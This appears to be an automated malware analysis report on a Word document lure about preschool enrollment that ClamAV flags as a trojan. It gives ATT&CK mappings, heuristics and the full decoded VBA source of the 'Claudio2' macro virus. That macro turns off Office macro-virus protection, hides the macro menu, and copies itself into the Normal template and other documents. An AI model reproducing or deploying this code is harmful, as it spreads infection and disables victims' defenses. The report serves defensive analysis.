MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1566.001 Spearphishing Attachment
The sample contains VBA macros that are designed to replicate themselves across documents and disable macro protection, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The macro code explicitly attempts to disable virus protection and replicate its code into other documents, including the Normal template. This behavior is characteristic of malware designed to spread and evade detection. The document body presents a plausible lure for preschool enrollment, which is a common social engineering tactic.
Heuristics 3
-
ClamAV: Doc.Trojan.Claud-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Claud-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
CommandBars("tools").Controls("macro").Enabled = False Options.VirusProtection = False y = 0
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1853 bytes |
SHA-256: d8bef0b2ad442e91550a3b7c1155f8e1d7a918c5649307c005cccb0c3c6b475c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Claudio2"
Attribute VB_Base = "1Normal.Claudio2"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
CommandBars("tools").Controls("macro").Enabled = False
Options.VirusProtection = False
y = 0
If ad.Name = "Claudio2" Then GoTo InfectNormal
i = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
Claudio:
jota = 0
jota = ad.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
If jota = 0 Then
jota = i
Do While y < nt.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
y = y + 1
cadecodi = nt.CodeModule.Lines(jota, 1)
ad.CodeModule.InsertLines y, cadecodi
jota = jota + 1
Loop
ad.Name = "Claudio2"
ActiveDocument.SaveAs ActiveDocument.FullName
Else
ad.CodeModule.ReplaceLine jota, "Sub Claudio"
GoTo Claudio
End If
GoTo IYGH
InfectNormal:
If nt.Name <> "Claudio2" Then
i = ad.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
jota = 0
jota = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
If jota = 0 Then
jota = i
Do While y < ad.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
y = y + 1
cadecodi = ad.CodeModule.Lines(jota, 1)
nt.CodeModule.InsertLines y, cadecodi
jota = jota + 1
Loop
nt.Name = "Claudio2"
NormalTemplate.Save
Else
nt.CodeModule.ReplaceLine jota, "Sub Claudio"
GoTo InfectNormal
End If
End If
IYGH:
'Este es un V macro, Elaborado por c l a u d I o
'Este es el Comienzo de la era de los V Claudio
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.